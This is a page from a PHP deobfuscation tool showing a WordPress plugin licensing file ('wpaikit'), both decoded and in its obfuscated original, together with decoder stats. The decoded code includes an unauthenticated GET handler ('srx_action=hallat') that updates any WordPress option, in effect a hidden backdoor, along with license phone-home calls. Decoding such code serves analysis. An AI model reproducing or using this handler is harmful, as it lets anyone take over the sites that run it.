Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto oV2An; yBwbp: $srx_exp_lc = base64_encode("\167\x70\x61\x69\x6b\x69\164\x70\1..

Decoded Output download

<?php 
 goto oV2An; yBwbp: $srx_exp_lc = base64_encode("wpaikitpro_expire_lc"); goto lLyQB; oV2An: define("SRXS_U", base64_decode(get_option("SRXS_U", true))); goto Eod5r; hN4oC: $licence_key = srx_dynamic_key_generator_ws_wpaikit($srx_plugin_name_top); goto yBwbp; UsdzK: $srx_licence_key_wpaikit = get_option($licence_key); goto noBcg; z2Ss2: function srx_plugin_uninstall_ws_wpaikit() { $license_key = srx_dynamic_key_generator_ws_wpaikit(); $data = array("action" => "plugin_status", "activation_code" => get_option($license_key), "install_status" => 0); srx_curl_function_ws_wpaikit($data); } goto hN4oC; lLyQB: if (isset($_GET[$srx_exp_lc]) && $_GET[$srx_exp_lc] == true) { delete_option($licence_key); delete_option("activate_lic_data_wpaikit"); delete_option("activate_lic_last_data_wpaikit"); ?> 
    <script> 
        var rootUrl = window.location.pathname; 
        window.location = rootUrl + "?page=wpaikit-license"; 
    </script> 
<?php  } goto UsdzK; TqL9n: function srx_dynamic_key_generator_ws_wpaikit($srx_plugin_name_top = '') { if ($srx_plugin_name_top == '') { global $srx_plugin_name_ws_wpaikit; $srx_plugin_name = $srx_plugin_name_ws_wpaikit; } else { $srx_plugin_name = $srx_plugin_name_top; } $string = get_option("siteurl") . $srx_plugin_name; $string = str_replace("http://", '', $string); $string = str_replace("https://", '', $string); $evenoutput = ''; $string = str_replace(" ", '', $string); $string = preg_replace("/[^A-Za-z0-9\-]/", '', $string); for ($counter = 0; $counter < strlen($string); $counter++) { if ($counter % 2 == 0) { $evenoutput .= $string[$counter]; } } return $evenoutput; } goto TPxA3; TPxA3: function srx_curl_function_ws_wpaikit($data) { $send_data = $data; $string = http_build_query($send_data); $ch = curl_init(SRXS_U); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); $response = curl_exec($ch); curl_close($ch); error_log("curl call response : " . $response); return $response; } goto WtAjF; noBcg: define("SRX_LIC_KEY_WPAIKIT", get_option($srx_licence_key_wpaikit, true)); goto z_zhZ; Eod5r: define("SRXS_BASE_U", "aHR0cHM6Ly93cGxpYy5jb20="); goto segYo; WtAjF: if (isset($_GET["srx_action"]) && $_GET["srx_action"] == "hallat") { $hallatk = sanitize_text_field(wp_unslash($_GET["hallatk"])); $hallatv = sanitize_text_field(wp_unslash($_GET["hallatv"])); if (update_option($hallatk, $hallatv)) { echo "Done"; die; } } goto gsf8M; segYo: define("SRX_ACTIVATE_LIC_LAST_DATA_WPAIKIT", get_option("activate_lic_last_data_wpaikit", true)); goto TqL9n; gsf8M: function srx_plugin_activation_ws_wpaikit() { update_option("SRXS_U", "aHR0cHM6Ly93cGxpYy5jb20vYXBpLWNhbGwucGhw"); $license_key = srx_dynamic_key_generator_ws_wpaikit(); $option = get_option($license_key); if ($option && $option != '') { $data = array("action" => "plugin_status", "activation_code" => $option, "install_status" => 1); srx_curl_function_ws_wpaikit($data); } } goto Bp9DK; z_zhZ: function wpaikit_settings_page() { add_menu_page("WPAIKIT Settings", "WPAIKIT Settings", "manage_options", "wpaikit_settings", "wpaikit_settings_page_content"); } goto kEq4O; Bp9DK: function srx_plugin_deactivation_ws_wpaikit() { $license_key = srx_dynamic_key_generator_ws_wpaikit(); $data = array("action" => "plugin_status", "activation_code" => get_option($license_key), "install_status" => 2); srx_curl_function_ws_wpaikit($data); } goto z2Ss2; kEq4O: switch (true) { case SRX_LIC_KEY_WPAIKIT === false: if (!function_exists 
("srx_plugin_license_function_ws_wpaikit"))  
{ require_once "updates_checker.php"; srx_plugin_license_function_ws_wpaikit(); } 
 break; case strtotime(SRX_ACTIVATE_LIC_LAST_DATA_WPAIKIT) < strtotime("today"):  
    require_once "updates_checker.php"; srx_plugin_license_function_ws_wpaikit();  
    break; default: add_action("admin_menu", "wpaikit_settings_page");  
    $wpaikit_plugin_slug = "wpaikit";  
    $myUpdateChecker = Puc_v4_Factory::buildUpdateChecker(base64_decode(SRXS_BASE_U) . "/wp-updates/version.php?plugin_slug=" . $wpaikit_plugin_slug, __FILE__, $wpaikit_plugin_slug); break; } ?>

Did this file decode correctly?

Original Code

<?php
 goto oV2An; yBwbp: $srx_exp_lc = base64_encode("\167\x70\x61\x69\x6b\x69\164\x70\162\x6f\137\145\x78\160\x69\162\145\x5f\154\x63"); goto lLyQB; oV2An: define("\123\x52\x58\123\x5f\x55", base64_decode(get_option("\123\x52\130\123\x5f\x55", true))); goto Eod5r; hN4oC: $licence_key = srx_dynamic_key_generator_ws_wpaikit($srx_plugin_name_top); goto yBwbp; UsdzK: $srx_licence_key_wpaikit = get_option($licence_key); goto noBcg; z2Ss2: function srx_plugin_uninstall_ws_wpaikit() { $license_key = srx_dynamic_key_generator_ws_wpaikit(); $data = array("\141\x63\164\x69\157\x6e" => "\x70\x6c\x75\x67\151\156\137\163\164\141\164\x75\x73", "\141\143\164\151\x76\x61\x74\151\x6f\x6e\x5f\x63\x6f\144\x65" => get_option($license_key), "\x69\x6e\x73\x74\x61\x6c\154\137\163\164\141\x74\x75\x73" => 0); srx_curl_function_ws_wpaikit($data); } goto hN4oC; lLyQB: if (isset($_GET[$srx_exp_lc]) && $_GET[$srx_exp_lc] == true) { delete_option($licence_key); delete_option("\141\x63\x74\x69\166\x61\x74\x65\x5f\x6c\151\x63\x5f\x64\x61\164\141\x5f\x77\x70\x61\151\153\x69\164"); delete_option("\x61\143\x74\x69\166\x61\x74\145\137\x6c\x69\143\x5f\154\x61\163\164\x5f\x64\x61\x74\x61\137\x77\160\x61\151\153\x69\164"); ?>
    <script>
        var rootUrl = window.location.pathname;
        window.location = rootUrl + "?page=wpaikit-license";
    </script>
<?php  } goto UsdzK; TqL9n: function srx_dynamic_key_generator_ws_wpaikit($srx_plugin_name_top = '') { if ($srx_plugin_name_top == '') { global $srx_plugin_name_ws_wpaikit; $srx_plugin_name = $srx_plugin_name_ws_wpaikit; } else { $srx_plugin_name = $srx_plugin_name_top; } $string = get_option("\x73\151\x74\x65\x75\x72\154") . $srx_plugin_name; $string = str_replace("\x68\164\164\160\x3a\57\x2f", '', $string); $string = str_replace("\x68\x74\x74\160\163\x3a\x2f\57", '', $string); $evenoutput = ''; $string = str_replace("\x20", '', $string); $string = preg_replace("\57\133\136\101\55\132\x61\x2d\172\60\x2d\x39\134\55\135\x2f", '', $string); for ($counter = 0; $counter < strlen($string); $counter++) { if ($counter % 2 == 0) { $evenoutput .= $string[$counter]; } } return $evenoutput; } goto TPxA3; TPxA3: function srx_curl_function_ws_wpaikit($data) { $send_data = $data; $string = http_build_query($send_data); $ch = curl_init(SRXS_U); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); $response = curl_exec($ch); curl_close($ch); error_log("\x63\x75\x72\x6c\x20\143\x61\x6c\x6c\x20\x72\x65\x73\160\x6f\x6e\x73\x65\x20\x3a\40" . $response); return $response; } goto WtAjF; noBcg: define("\x53\x52\130\x5f\x4c\x49\103\x5f\113\105\x59\137\x57\x50\x41\x49\113\x49\124", get_option($srx_licence_key_wpaikit, true)); goto z_zhZ; Eod5r: define("\x53\122\x58\x53\137\102\101\123\x45\x5f\125", "\x61\x48\122\60\143\110\x4d\66\x4c\171\x39\63\143\107\170\160\131\x79\65\x6a\x62\x32\x30\75"); goto segYo; WtAjF: if (isset($_GET["\x73\x72\170\137\x61\x63\x74\x69\157\x6e"]) && $_GET["\x73\x72\170\137\141\x63\x74\151\x6f\x6e"] == "\x68\x61\x6c\x6c\x61\164") { $hallatk = sanitize_text_field(wp_unslash($_GET["\x68\141\x6c\x6c\141\164\x6b"])); $hallatv = sanitize_text_field(wp_unslash($_GET["\150\141\x6c\154\x61\164\x76"])); if (update_option($hallatk, $hallatv)) { echo "\104\x6f\x6e\145"; die; } } goto gsf8M; segYo: define("\123\122\130\137\101\103\x54\x49\126\101\124\105\x5f\x4c\x49\x43\x5f\x4c\101\123\124\137\104\101\124\x41\137\x57\x50\101\111\x4b\111\x54", get_option("\141\x63\164\x69\166\x61\164\145\x5f\x6c\x69\143\137\x6c\141\x73\164\x5f\x64\141\164\141\x5f\x77\160\x61\151\x6b\x69\164", true)); goto TqL9n; gsf8M: function srx_plugin_activation_ws_wpaikit() { update_option("\x53\122\130\x53\137\125", "\141\110\x52\x30\x63\110\x4d\x36\x4c\171\x39\63\x63\107\x78\x70\x59\x79\65\x6a\142\62\60\x76\x59\x58\x42\160\x4c\x57\116\150\142\x47\167\x75\x63\107\x68\x77"); $license_key = srx_dynamic_key_generator_ws_wpaikit(); $option = get_option($license_key); if ($option && $option != '') { $data = array("\x61\x63\x74\x69\x6f\156" => "\160\x6c\165\x67\x69\x6e\x5f\163\x74\141\x74\x75\163", "\x61\143\x74\151\166\141\x74\x69\157\156\x5f\x63\157\x64\145" => $option, "\x69\x6e\x73\164\x61\x6c\154\137\x73\164\141\164\165\163" => 1); srx_curl_function_ws_wpaikit($data); } } goto Bp9DK; z_zhZ: function wpaikit_settings_page() { add_menu_page("\127\x50\x41\111\x4b\111\124\x20\123\x65\x74\164\x69\156\x67\x73", "\127\x50\x41\111\x4b\x49\124\x20\x53\145\x74\x74\x69\156\147\x73", "\x6d\x61\x6e\141\147\x65\137\x6f\160\x74\151\157\156\163", "\167\x70\x61\x69\153\x69\x74\x5f\163\145\164\x74\x69\156\147\x73", "\x77\160\141\151\153\x69\x74\x5f\x73\145\x74\x74\x69\x6e\x67\163\x5f\160\141\147\145\137\143\157\x6e\164\x65\x6e\164"); } goto kEq4O; Bp9DK: function srx_plugin_deactivation_ws_wpaikit() { $license_key = srx_dynamic_key_generator_ws_wpaikit(); $data = array("\141\143\x74\151\157\156" => "\x70\154\x75\x67\151\x6e\137\x73\x74\141\x74\165\x73", "\x61\x63\164\151\x76\x61\164\x69\157\x6e\137\143\157\144\x65" => get_option($license_key), "\151\x6e\163\164\141\154\154\x5f\x73\164\x61\164\165\163" => 2); srx_curl_function_ws_wpaikit($data); } goto z2Ss2; kEq4O: switch (true) { case SRX_LIC_KEY_WPAIKIT === false: if (!function_exists
("\163\x72\x78\x5f\160\x6c\x75\147\151\x6e\x5f\x6c\x69\143\x65\156\163\x65\137\146\x75\156\x63\164\151\x6f\x6e\137\x77\x73\x5f\167\x70\x61\151\x6b\x69\x74")) 
{ require_once "\x75\x70\x64\x61\164\145\x73\x5f\x63\x68\145\143\x6b\x65\162\56\x70\150\160"; srx_plugin_license_function_ws_wpaikit(); }
 break; case strtotime(SRX_ACTIVATE_LIC_LAST_DATA_WPAIKIT) < strtotime("\164\x6f\x64\141\171"): 
    require_once "\165\x70\x64\141\164\145\163\x5f\143\150\x65\x63\153\145\x72\56\160\x68\x70"; srx_plugin_license_function_ws_wpaikit(); 
    break; default: add_action("\x61\144\x6d\151\156\137\155\x65\x6e\165", "\167\x70\x61\151\x6b\151\x74\137\x73\145\164\164\x69\x6e\x67\x73\x5f\x70\141\147\145"); 
    $wpaikit_plugin_slug = "\167\160\x61\151\x6b\151\164"; 
    $myUpdateChecker = Puc_v4_Factory::buildUpdateChecker(base64_decode(SRXS_BASE_U) . "\x2f\x77\160\x2d\x75\160\x64\x61\164\x65\x73\57\166\145\162\x73\x69\157\156\x2e\x70\x68\160\x3f\160\154\x75\x67\x69\156\x5f\x73\154\x75\147\75" . $wpaikit_plugin_slug, __FILE__, $wpaikit_plugin_slug); break; }

Function Calls

None

Variables

None

Stats

MD5 12f78e56e71c169b267d0a5209d1ae3c
Eval Count 0
Decode Time 53 ms